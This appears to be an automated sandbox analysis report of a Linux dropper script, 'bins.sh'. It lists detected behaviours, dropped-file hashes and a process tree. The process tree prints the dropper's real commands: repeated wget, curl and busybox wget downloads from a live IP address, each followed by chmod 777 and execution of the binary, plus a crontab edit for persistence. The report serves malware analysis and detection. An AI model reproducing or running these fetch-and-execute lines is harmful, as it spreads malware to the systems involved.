Overview

overview

8

Static

static

1

bins.sh

ubuntu-18.04-amd64

7

bins.sh

debian-9-armhf

8

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    31s
  • max time network
    99s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    21/11/2024, 03:46

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241121-ebl3payhpn
  • SHA256 4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1465
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1466
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
          • Writes file to tmp directory
          PID:1467
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
          • Writes file to tmp directory
          PID:1481
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
          • Writes file to tmp directory
          PID:1482
        • /bin/chmod
          chmod 777 Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
          • File and Directory Permissions Modification
          PID:1483
        • /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          ./Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
          • Executes dropped EXE
          PID:1484
        • /bin/rm
          rm Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
            PID:1486
          • /usr/bin/wget
            wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
            • Writes file to tmp directory
            PID:1487
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
            • Writes file to tmp directory
            PID:1489
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
            • Writes file to tmp directory
            PID:1490
          • /bin/chmod
            chmod 777 bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
            • File and Directory Permissions Modification
            PID:1491
          • /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            ./bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
            • Executes dropped EXE
            PID:1492
          • /bin/rm
            rm bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
              PID:1494
            • /usr/bin/wget
              wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
              • Writes file to tmp directory
              PID:1495
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
              • Writes file to tmp directory
              PID:1496
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
              • Writes file to tmp directory
              PID:1497
            • /bin/chmod
              chmod 777 XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
              • File and Directory Permissions Modification
              PID:1498
            • /tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              ./XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
              • Executes dropped EXE
              PID:1499
            • /bin/rm
              rm XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
                PID:1501
              • /usr/bin/wget
                wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                2⤵
                • Writes file to tmp directory
                PID:1502
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                2⤵
                • Writes file to tmp directory
                PID:1503
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                2⤵
                • Writes file to tmp directory
                PID:1504
              • /bin/chmod
                chmod 777 wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                2⤵
                • File and Directory Permissions Modification
                PID:1505
              • /tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                ./wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                2⤵
                • Executes dropped EXE
                PID:1506
              • /bin/rm
                rm wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                2⤵
                  PID:1508
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                  2⤵
                  • Writes file to tmp directory
                  PID:1509
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                  2⤵
                  • Writes file to tmp directory
                  PID:1510
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                  2⤵
                  • Writes file to tmp directory
                  PID:1511
                • /bin/chmod
                  chmod 777 UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1512
                • /tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                  ./UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                  2⤵
                  • Executes dropped EXE
                  PID:1513
                • /bin/rm
                  rm UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                  2⤵
                    PID:1515
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                    2⤵
                    • Writes file to tmp directory
                    PID:1516
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                    2⤵
                    • Writes file to tmp directory
                    PID:1517
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                    2⤵
                    • Writes file to tmp directory
                    PID:1518
                  • /bin/chmod
                    chmod 777 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1519
                  • /tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                    ./1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                    2⤵
                    • Executes dropped EXE
                    PID:1520
                  • /bin/rm
                    rm 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                    2⤵
                      PID:1522
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                      2⤵
                      • Writes file to tmp directory
                      PID:1523
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                      2⤵
                      • Writes file to tmp directory
                      PID:1524
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                      2⤵
                      • Writes file to tmp directory
                      PID:1525
                    • /bin/chmod
                      chmod 777 YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1526
                    • /tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                      ./YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1527
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1529
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1530
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1531
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1532
                          • /bin/rm
                            rm YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                            2⤵
                              PID:1534
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
                              2⤵
                                PID:1537

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

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                                  Downloads

                                  1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                                  • Path /tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                                  • Size 117KB
                                  • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
                                  • Path /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
                                  • Size 122KB
                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                                  • Path /tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                                  • Size 111KB
                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
                                  • Path /tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
                                  • Size 107KB
                                  • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                                  • Path /tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                                  • Size 112KB
                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
                                  • Path /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
                                  • Size 151KB
                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                                  • Path /tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                                  • Size 151KB
                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tmp.BBQGwc
                                  • Path /var/spool/cron/crontabs/tmp.BBQGwc
                                  • Size 210B
                                  • SHA256 e34722538020048d65271b75e9a200c2fe1defa84754be05fe5b05c139df43aa
                                  • MD5 SHA1 SHA512
                                  Submit Download